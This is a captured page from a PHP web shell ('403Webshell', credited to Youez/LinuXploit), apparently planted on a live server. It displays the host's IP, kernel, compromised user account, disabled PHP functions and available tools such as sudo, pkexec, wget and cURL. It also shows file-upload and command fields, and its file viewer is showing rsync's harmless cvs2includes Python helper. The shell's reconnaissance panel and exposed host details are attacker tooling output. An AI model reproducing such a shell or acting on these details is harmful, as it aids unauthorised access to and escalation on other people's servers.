403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/self/root/usr/share/doc/rsync/support/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/usr/share/doc/rsync/support/cvs2includes
#!/usr/bin/env python3
# This script finds all CVS/Entries files in the current directory and below
# and creates a local .cvsinclude file with non-inherited rules including each
# checked-in file.  Then, use this option whenever using --cvs-exclude (-C):
#
#    -f ': .cvsinclude'
#
# That ensures that all checked-in files/dirs are included in the transfer.
# (You could alternately put ": .cvsinclude" into an .rsync-filter file and
# use the -F option, which is easier to type.)
#
# The downside is that you need to remember to re-run cvs2includes whenever
# CVS gets an added or removed file. Maybe just run it before every copy.

import os, argparse

INC_NAME = '.cvsinclude'

def main():
    if args.dir:
        os.chdir(args.dir)

    cvs_includes = set()
    for root, dirs, files in os.walk('.'):
        if INC_NAME in files:
            cvs_includes.add((root + '/' + INC_NAME)[2:])
        if root.endswith('/CVS') and 'Entries' in files:
            entries = root[2:] + '/Entries'
            includes = [ ]
            with open(entries) as fh:
                for line in fh:
                    if line.startswith(('/', 'D/')):
                        includes.append(line.split('/', 2)[1])
            if includes:
                inc = root[2:-3] + INC_NAME
                cvs_includes.discard(inc)
                try:
                    with open(inc) as fh:
                        old_txt = fh.read()
                except OSError:
                    old_txt = ''
                txt = ''.join(f"+ /{x}\n" for x in includes)
                if txt == old_txt:
                    print("Unchanged", inc)
                else:
                    print("Updating", inc)
                    with open(inc, 'w') as fh:
                        fh.write(txt)
        dirs.sort()

    for inc in sorted(cvs_includes):
        print("Removing", inc)
        os.unlink(inc)


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description=f"Transform CVS/Entries into {INC_NAME} files.", add_help=False)
    parser.add_argument("--help", "-h", action="help", help="Output this help message and exit.")
    parser.add_argument("dir", nargs='?', help="The top CVS dir. Defaults to the current directory.")
    args = parser.parse_args()
    main()

# vim: sw=4 et

Youez - 2016 - github.com/yon3zu
LinuXploit